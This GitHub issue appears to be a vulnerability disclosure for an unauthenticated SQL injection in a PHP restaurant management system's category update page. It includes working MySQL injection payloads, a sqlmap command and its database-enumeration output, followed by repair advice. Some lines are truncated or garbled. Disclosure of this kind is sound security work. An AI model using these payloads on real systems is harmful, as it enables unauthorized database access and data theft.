

New issue



itsourcecode Restaurant Management System System V1.0 /admin/category_update.php SQL injection #5

Open



XuepengZhao-insp opened 2 weeks ago



itsourcecode Restaurant Management System System V1.0 /admin/category_update.php SQL injection

NAME OF AFFECTED PRODUCT(S)

- Restaurant Management System System

Vendor Homepage

- <https://itsourcecode.com/free-projects/php-project/online-restaurant-management-system-project-in-php-with-source-code/>

AFFECTED AND/OR FIXED VERSION(S)

submitter

-0x0A1lphd

Vulnerable File

- /admin/category_update.php

VERSION(S)

- V1.0

Software Link

- <https://itsourcecode.com/wp-content/uploads/2020/02/altonsystem.zip>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/admin/category_update.php' file of the 'Restaurant Management System System' project. The reason for this issue is that attackers inject malicious code from the parameter 'category' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Restaurant Management System System", I discovered a critical SQL injection vulnerability in the "/admin/category_update.php" file. This vulnerability stems from insufficient user input validation of the 'category' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability Ionameion:

- 'category' parameter

Payload:

Parameter: id (POST)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: id=12' RLIKE (SELECT (CASE WHEN (9899=9899) THEN 12 ELSE 0x28 END))-- hnKE&category=

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBS

Payload: id=12' AND GTID_SUBSET(CONCAT(0x716a716271,(SELECT (ELT(3967=3967,1))),0x7162626b7

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=12' AND (SELECT 9807 FROM (SELECT(SLEEP(5)))HoMN)-- hZw0&category=123&update=



The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -u "http://10.20.33.25/altonsystem/admin/category_update.php" --date="cid=12&c
```



r

```

Parameter: id (POST)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: id=12' RLIKE (SELECT (CASE WHEN (9899=9899) THEN 12 ELSE 0x28 END))
-- hnKE&category=123&update=

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: id=12' AND GTID_SUBSET(CONCAT(0x716a716271,(SELECT (ELT(3967=3967,1)))) ,0x7162626b71),3967)-- oqQr&category=123&update=

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=12' AND (SELECT 9807 FROM (SELECT(SLEEP(5)))HoMN)-- hZwO&category=123&update=

Parameter: category (POST)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: id=12&category=123' RLIKE (SELECT (CASE WHEN (9490=9490) THEN 123 ELSE 0x28 END))-- EREE&update=

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: id=12&category=123' AND GTID_SUBSET(CONCAT(0x716a716271,(SELECT (ELT(3254=3254,1)))) ,0x7162626b71),3254)-- EsQa&update=

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=12&category=123' AND (SELECT 8521 FROM (SELECT(SLEEP(5)))VDna)-- AuRJ&update=
--
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: id, type: Single quoted string (default)
[1] place: POST, parameter: category, type: Single quoted string
[q] Quit
> 0
[12:05:08] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.11, Apache 2.4.41
back-end DBMS: MySQL >= 5.6
[12:05:08] [INFO] fetching database names
[12:05:08] [INFO] retrieved: 'information_schema'
[12:05:08] [INFO] retrieved: 'reservation'
available databases [2]:
[*] information_schema
[*] reservation

```

Suggested repair

1. Use prepared statements and parameter binding:

Preparing statements can prevent SQL injection as they separate SQL code from user input data.

When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. **Input validation and filtering:**

Strictly validate and filter user input data to ensure it conforms to the expected format.
3. **Minimize database user permissions:**

Ensure that the account used to connect to the database has the minimum necessary permissions.
Avoid using accounts with advanced permissions (such as ' root 'or' admin ') for daily operations.
4. **Regular security audits:**

Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Sign up for free

to join this conversation on **GitHub**. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

 Code with Copilot Agent Mode

▼

No branches or pull requests

Participants

